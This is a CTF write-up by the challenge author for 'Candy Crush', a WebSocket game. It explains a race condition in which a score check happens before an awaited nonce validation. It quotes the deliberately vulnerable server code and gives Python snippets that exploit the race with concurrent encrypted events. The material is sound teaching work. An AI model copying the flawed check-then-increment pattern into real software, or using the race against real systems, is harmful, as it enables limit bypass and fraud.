- Published on
Cyhub CTF 2025 - Candy Crush
- Authors

- Name
- Varik Matevosyan
- @D4RK7ET
Candy Crush
For Cyhub CTF 2025, I created a web challenge that combines modern web technologies with a classic vulnerability type. Candy Crush is a WebSocket-based candy collection game with encrypted communication and nonce-based replay protection. While the game appears to be a simple browser game, it hides a subtle race condition vulnerability that players must exploit to win. The challenge tested players' understanding of real-time web protocols, cryptography, and concurrent systems.
Challenge Description
Players navigate to the game interface where they control a character collecting falling candies. The goal is to collect 10 candies to purchase the flag, but the game is intentionally designed to make this nearly impossible through normal gameplay.
Category: Web
Difficulty: Medium
Flag Format: cyhub{xxxxx}
Challenge Overview
This challenge involves several layers of complexity:
- WebSocket Communication: Real-time game events using Socket.IO with WebSocket-only transport (no HTTP fallback)
- AES-256-CBC Encryption: All game messages are encrypted with session-specific keys and initialization vectors
- Nonce-Based Replay Protection: Sequential nonce validation using SHA-256 to prevent replay attacks and message reordering
- Race Condition Vulnerability: A subtle timing-based exploit in the server's score validation logic
The combination of these elements creates a realistic scenario where proper security measures are implemented, but a subtle logic flaw allows for exploitation.
Game Mechanics
Normal Gameplay Experience
When playing the game normally, you'll notice:
- A 10-second timer during which 10 candies will drop
- You can move your character left/right to catch falling candies
- The first 9 candies drop at a reasonable speed
- The 10th candy drops at an impossible speed after the timer expires
- Your score is somehow capped at 9 candies, even if you think you caught more
- You need 10+ candies to purchase the flag
This frustrating experience is by design—the game is telling you that normal gameplay won't work.
Technical Communication Flow
Behind the scenes, here's what happens:
- Client sends a
startevent to begin the game - Server generates a random 32-byte encryption key and 16-byte IV
- Server sends these via a
handshakeevent - All subsequent messages are encrypted:
base64(AES-256-CBC-encrypt(data)) - Each
collectevent includes a nonce:SHA256(previous_nonce || key) - Server validates the nonce sequence before incrementing the score
This protocol ensures that:
- Messages can't be intercepted and read (encryption)
- Messages can't be replayed (nonce chain)
- Messages can't be reordered (sequential nonce validation)
The Vulnerability
Race Condition in Score Validation
The vulnerability lies in the server-side score validation logic (server.js:96-111):
socket.on('collect', async (encryptedData) => {
const sessionId = socket.id;
const session = sessions.get(sessionId);
if (!session) return;
if (session.score >= 9) return; // ← Check happens here
try {
const decryptedData = decrypt(
Buffer.from(encryptedData, 'base64').toString(),
session.key,
session.iv
);
const data = JSON.parse(decryptedData);
const isValidNonce = await validateNonce(sessionId, data.nonce); // ← Async gap
if (!isValidNonce) {
console.log('Invalid nonce for session:', sessionId);
return;
}
session.score++; // ← Score increment happens here
The timing window: Between the session.score >= 9 check and the actual score increment, there's a timing gap. During nonce validation (which is asynchronous), multiple requests can pass the initial score check before any of them actually increments the score.
Why this happens:
- Request A arrives:
score = 8, passes the check, enters async validation - Request B arrives:
score = 8(still!), passes the check, enters async validation - Request A finishes validation:
score++→ score becomes 9 - Request B finishes validation:
score++→ score becomes 10
Both requests "saw" the score as 8, so both passed the check, allowing the score to exceed the intended limit.
Protection Mechanisms (That We Need to Work With)
- AES-256-CBC Encryption: All game messages are encrypted with unique session keys—we need to properly encrypt our exploit messages
- Nonce Chain Validation: Prevents replay attacks—we must generate a valid nonce chain
- WebSocket-Only Transport: Ensures real-time communication
- Score Capping: Server-side validation attempts to limit score to 9 candies (but has the race condition)
- Session Isolation: Each connection has unique encryption keys
Solution Walkthrough
Stage 1: Understanding the Protocol
Step 1: Connect and analyze
Use browser DevTools (Network tab → WS filter) to observe the WebSocket messages. You'll see base64-encoded data being exchanged.
Step 2: Reverse engineer the encryption
By examining the client-side code (public/game.js), you can determine:
- Encryption algorithm: AES-256-CBC
- Key and IV are provided during the handshake
- Messages are base64-encoded after encryption
Step 3: Understand nonce generation
The nonce chain works as follows:
nonce_0 = None
nonce_1 = SHA256(nonce_0 || key)
nonce_2 = SHA256(nonce_1 || key)
nonce_3 = SHA256(nonce_2 || key)
...
This creates a cryptographically secure chain where you must have the previous nonce to generate the next one.
Stage 2: Race Condition Exploitation
Step 1: Pre-generate valid events
Before exploiting the race condition, generate all 10 valid collect events with proper nonces:
nonces = []
nonce = None
for i in range(10):
nonce = generate_nonce(nonce, session_key)
nonces.append(nonce)
# Encrypt each event
events = []
for nonce in nonces:
encrypted = encrypt(json.dumps({"nonce": nonce}), key, iv)
events.append(base64.b64encode(encrypted))
Step 2: Sequential phase
Send the first 8 events normally, one by one:
for i in range(8):
await socket.emit('collect', events[i])
await asyncio.sleep(0.1) # Small delay to ensure sequential processing
After this, your score should be 8.
Step 3: Exploit the race condition
Send events 9 and 10 simultaneously:
# Both events will pass the "score >= 9" check
# before either one increments the score
await asyncio.gather(
socket.emit('collect', events[8]),
socket.emit('collect', events[9])
)
The key is sending them concurrently so both requests enter the handler before either one increments the score.
Stage 3: Flag Purchase
Step 1: Buy the flag
With score ≥ 10, you can now purchase the flag:
flag_request = encrypt(json.dumps({}), key, iv)
await socket.emit('buy_flag', base64.b64encode(flag_request))
Step 2: Decrypt the response
The server returns the encrypted flag. Decrypt it using your session key and IV to get the final flag.
Key Technical Details
- Async timing: The vulnerability exists because nonce validation is asynchronous (
await validateNonce) - Nonce chain: Must pre-generate all nonces before exploitation since each depends on the previous
- Concurrent requests: Use
asyncio.gather()or similar to send requests truly concurrently - Session keys: Each WebSocket connection has unique keys—can't reuse across sessions
- Score check location: The check happens before async operations, not atomically with the increment
Tools Recommended
- Python + asyncio - For concurrent WebSocket requests
- pycryptodome - For AES encryption/decryption
- python-socketio - WebSocket client library
- Browser DevTools - For initial protocol analysis
- Burp Suite - For request interception and analysis
The full exploit code can be found here